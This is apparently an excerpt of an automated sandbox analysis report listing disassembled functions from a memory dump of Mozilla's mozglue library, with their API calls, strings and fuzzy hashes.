Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

combase.dll, xrefs: 6C5B0F18
CoInitializeEx, xrefs: 6C5B0F36

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5B0E9B
kernel32.dll, xrefs: 6C5B0E7D

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625
<jemalloc>, xrefs: 6C5E05FA, 6C5E060F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

UnmapViewOfFile2, xrefs: 6C607552
kernel32.dll, xrefs: 6C607557

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

NtQueryVirtualMemory, xrefs: 6C60C431
ntdll.dll, xrefs: 6C60C413

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

RtlNtStatusToDosError, xrefs: 6C6075D1
ntdll.dll, xrefs: 6C6075B3

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
